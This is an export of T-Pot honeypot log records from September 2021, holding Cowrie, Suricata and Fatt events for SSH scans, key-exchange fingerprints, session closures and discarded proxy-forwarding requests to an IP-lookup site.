"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20854	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:14.709081+03	2021-09-20 14:15:02.909611+03	{"_id": "LgXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0abdc9a421c4", "@version": "1", "timestamp": "2021-09-20T11:06:14.709081Z", "@timestamp": "2021-09-20T11:06:14.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20855	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:14.712176+03	2021-09-20 14:15:02.910614+03	{"_id": "LwXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "3b9ff9bcf3d0", "@version": "1", "duration": 4.2050416469573975, "timestamp": "2021-09-20T11:06:14.712176Z", "@timestamp": "2021-09-20T11:06:14.712Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20859	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:15.309408+03	2021-09-20 14:15:02.916612+03	{"_id": "RgXiAnwBvYTbRNuElPwu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:06:15.309408+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1555656132245664, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 44702, "dest_port": 22, "timestamp": "2021-09-20T11:06:15.309408Z", "@timestamp": "2021-09-20T11:06:15.309Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
20860	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:15.511526+03	2021-09-20 14:15:02.917612+03	{"_id": "SAXiAnwBvYTbRNuElPwu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 64769904392358, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37334, "dest_port": 22, "timestamp": "2021-09-20T11:06:15.511526Z", "@timestamp": "2021-09-20T11:06:15.511Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20861	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:15.514473+03	2021-09-20 14:15:02.918612+03	{"_id": "VwXiAnwBvYTbRNuElfxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4e761ab8d828", "@version": "1", "timestamp": "2021-09-20T11:06:15.514473Z", "@timestamp": "2021-09-20T11:06:15.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20862	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:15.688365+03	2021-09-20 14:15:02.920613+03	{"_id": "XAXiAnwBvYTbRNuElfxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "223.241.247.214", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5933547019958496, "duplicate": true, "timestamp": "2021-09-20T11:06:15.688365Z", "@timestamp": "2021-09-20T11:06:15.688Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20863	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:15.920245+03	2021-09-20 14:15:02.921613+03	{"_id": "awXiAnwBvYTbRNuElfxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "c319d72d9024", "@version": "1", "duration": 4.084973096847534, "timestamp": "2021-09-20T11:06:15.920245Z", "@timestamp": "2021-09-20T11:06:15.920Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20864	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:16.123975+03	2021-09-20 14:15:02.922613+03	{"_id": "gAXiAnwBvYTbRNuEmPwa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1301542244693997, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 7174, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.123975Z", "@timestamp": "2021-09-20T11:06:16.123Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20865	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:16.587718+03	2021-09-20 14:15:02.923613+03	{"_id": "gQXiAnwBvYTbRNuEmPwa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 553859305461545, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 58448, "dest_port": 22, "timestamp": "2021-09-20T11:06:16.587718Z", "@timestamp": "2021-09-20T11:06:16.587Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20866	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:07.261105+03	2021-09-20 14:15:02.924612+03	{"_id": "6gXiAnwBvYTbRNuEdPrn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 416602887470160, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46234, "dest_port": 22, "timestamp": "2021-09-20T11:06:07.261105Z", "@timestamp": "2021-09-20T11:06:07.261Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20867	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:07.797553+03	2021-09-20 14:15:02.926613+03	{"_id": "6wXiAnwBvYTbRNuEdPrn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 718062347083642, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59998, "dest_port": 22, "timestamp": "2021-09-20T11:06:07.797553Z", "@timestamp": "2021-09-20T11:06:07.797Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20868	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:07.090298+03	2021-09-20 14:15:02.927613+03	{"_id": "8gXiAnwBvYTbRNuEdvoB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "ip-who.com", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to ip-who.com:80 from :0", "session": "4bebe31d8da4", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:06:07.090298Z", "@timestamp": "2021-09-20T11:06:07.090Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
20971	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:14.85409+03	2021-09-20 14:15:03.057614+03	{"_id": "IgXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "ip-who.com", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to ip-who.com:80 from :0", "session": "c319d72d9024", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:06:14.854090Z", "@timestamp": "2021-09-20T11:06:14.854Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
20869	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:07.368251+03	2021-09-20 14:15:02.928612+03	{"_id": "9QXiAnwBvYTbRNuEdvoB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET /json/ HTTP/1.1\\\\r\\\\nHost: ip-who.com\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "ip-who.com", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\\\r\\\\nHost: ip-who.com\\\\r\\\\n\\\\r\\\\n'", "session": "4bebe31d8da4", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:06:07.368251Z", "@timestamp": "2021-09-20T11:06:07.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
20870	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:06:07.699692+03	2021-09-20 14:15:02.929612+03	{"_id": "9gXiAnwBvYTbRNuEdvoB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5a2c163580eb", "@version": "1", "duration": 2.784977436065674, "timestamp": "2021-09-20T11:06:07.699692Z", "@timestamp": "2021-09-20T11:06:07.699Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20871	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:06.985413+03	2021-09-20 14:15:02.931613+03	{"_id": "AQXiAnwBvYTbRNuEdvsE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46234, "timestamp": "2021-09-20T11:06:06.985413", "@timestamp": "2021-09-20T11:06:06.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
